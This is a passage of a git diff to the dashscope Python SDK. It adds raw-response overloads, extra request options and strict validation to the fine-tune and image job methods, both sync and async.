job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload def logs( self, job_id: str, @@ -361,8 +746,54 @@ def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobLogs: - response = self._client.transport.request( + ... + + @overload + def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobLogs, "APIResponse"]: + """Fetch training logs of one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}/logs", # The wire parameter is singular "line". @@ -371,11 +802,25 @@ def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - _parse_logs(job_id, response_json(response)), - response, + _parse_logs( + job_id, + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) def stream_events( @@ -385,6 +830,10 @@ def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Iterator[FineTuneEvent]: response = self._client.transport.open_stream( "GET", @@ -393,15 +842,30 @@ def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: for is_error, status_code, data in _iter_sse(response): if is_error: if self._client.raise_on_error: raise _stream_error(status_code, data) - yield FineTuneEvent(output=_try_json(data), is_error=True) + yield _parse_event( + data, + is_error=True, + strict=self._client.config.strict_validation, + response=response, + ) return - yield FineTuneEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: response.close() @@ -414,6 +878,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> FineTune: """Poll until the job reaches a terminal status. @@ -428,7 +896,15 @@ def wait( current = ( job if isinstance(job, FineTune) - else self.get(job_id, api_key=api_key, workspace=workspace) + else self.get( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -445,7 +921,15 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.get(job_id, api_key=api_key, workspace=workspace) + current = self.get( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) return self._check_terminal(current, job_id) def _check_terminal(self, job: FineTune, job_id: str) -> FineTune: @@ -469,6 +953,7 @@ class AsyncFineTunes: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -481,7 +966,59 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: + ... + + @overload + async def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Create a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, training_file_ids, @@ -490,7 +1027,7 @@ async def create( hyper_parameters, finetuned_model, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -498,10 +1035,27 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload async def get( self, job_id: str, @@ -509,18 +1063,77 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: - response = await self._client.transport.request( + ... + + @overload + async def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Fetch one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload async def list( self, *, @@ -529,8 +1142,52 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTuneList: - response = await self._client.transport.request( + ... + + @overload + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTuneList, "APIResponse"]: + """List fine-tune jobs, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -538,10 +1195,27 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload async def cancel( self, job_id: str, @@ -549,18 +1223,77 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = await self._client.transport.request( + ... + + @overload + async def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Cancel a running fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "POST", f"{_BASE_PATH}/{job_id}/cancel", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload async def delete( self, job_id: str, @@ -568,18 +1301,77 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = await self._client.transport.request( + ... + + @overload + async def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload async def logs( self, job_id: str, @@ -589,8 +1381,54 @@ async def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobLogs: - response = await self._client.transport.request( + ... + + @overload + async def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobLogs, "APIResponse"]: + """Fetch training logs of one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}/logs", # The wire parameter is singular "line". @@ -599,11 +1437,25 @@ async def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - _parse_logs(job_id, response_json(response)), - response, + _parse_logs( + job_id, + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) async def stream_events( @@ -613,6 +1465,10 @@ async def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> AsyncIterator[FineTuneEvent]: response = await self._client.transport.open_stream( "GET", @@ -621,18 +1477,30 @@ async def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: async for is_error, status_code, data in _aiter_sse(response): if is_error: if self._client.raise_on_error: raise _stream_error(status_code, data) - yield FineTuneEvent( - output=_try_json(data), + yield _parse_event( + data, is_error=True, + strict=self._client.config.strict_validation, + response=response, ) return - yield FineTuneEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: await response.aclose() @@ -645,6 +1513,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> FineTune: job_id = _job_id(job) @@ -657,6 +1529,10 @@ async def wait( job_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) ) interval = poll_interval @@ -678,6 +1554,10 @@ async def wait( job_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self._check_terminal(current, job_id) diff --git a/dashscope/resources/images.py b/dashscope/resources/images.py index b82b42c9..33f4e3ad 100644 --- a/dashscope/resources/images.py +++ b/dashscope/resources/images.py @@ -30,9 +30,12 @@ Callable, Dict, List, + Literal, + Mapping, Optional, Tuple, Union, + overload, ) from dashscope.errors import check_response, response_json @@ -51,11 +54,14 @@ OSS_RESOLVE_HEADERS, upload_media_value, ) +from dashscope.transport._options import request_options from dashscope.types.common import with_headers if TYPE_CHECKING: import httpx + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncImages", "Images", @@ -311,6 +317,7 @@ def __init__(self, client) -> None: self._synthesis = Jobs(client, SERVICE, MODULE) self._generation = Jobs(client, TASK_SERVICE, MODULE) + @overload def create( self, *, @@ -330,7 +337,72 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit an image task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ image_urls, extra_input, has_upload = _upload_inputs( self._client, model, @@ -363,6 +435,11 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) return self._synthesis.create( model=model, @@ -380,8 +457,14 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -389,14 +472,61 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one image task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return self._synthesis.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def cancel( self, task_id: str, @@ -404,15 +534,61 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return self._synthesis.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def list( # pylint: disable=redefined-builtin self, *, @@ -427,8 +603,62 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return self._synthesis.list( start_time=start_time, end_time=end_time, @@ -441,6 +671,11 @@ def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -452,6 +687,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._synthesis.wait( @@ -461,6 +700,10 @@ def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -494,6 +737,10 @@ def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; returns the finished Job (``image_urls``). @@ -505,6 +752,12 @@ def generate( ``submit_timeout`` and the polling knobs do not apply. ``image_urls`` carries reference images for wan2.6-image. """ + options = request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ) if _uses_multimodal_protocol(model): image_urls, extra_input, has_upload = _upload_inputs( self._client, @@ -537,6 +790,7 @@ def generate( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=options, ) check_response( response, @@ -567,6 +821,10 @@ def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self.jobs.wait( job, @@ -575,6 +833,10 @@ def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) @@ -586,6 +848,7 @@ def __init__(self, client) -> None: self._synthesis = AsyncJobs(client, SERVICE, MODULE) self._generation = AsyncJobs(client, TASK_SERVICE, MODULE) + @overload async def create( self, *, @@ -605,7 +868,72 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: 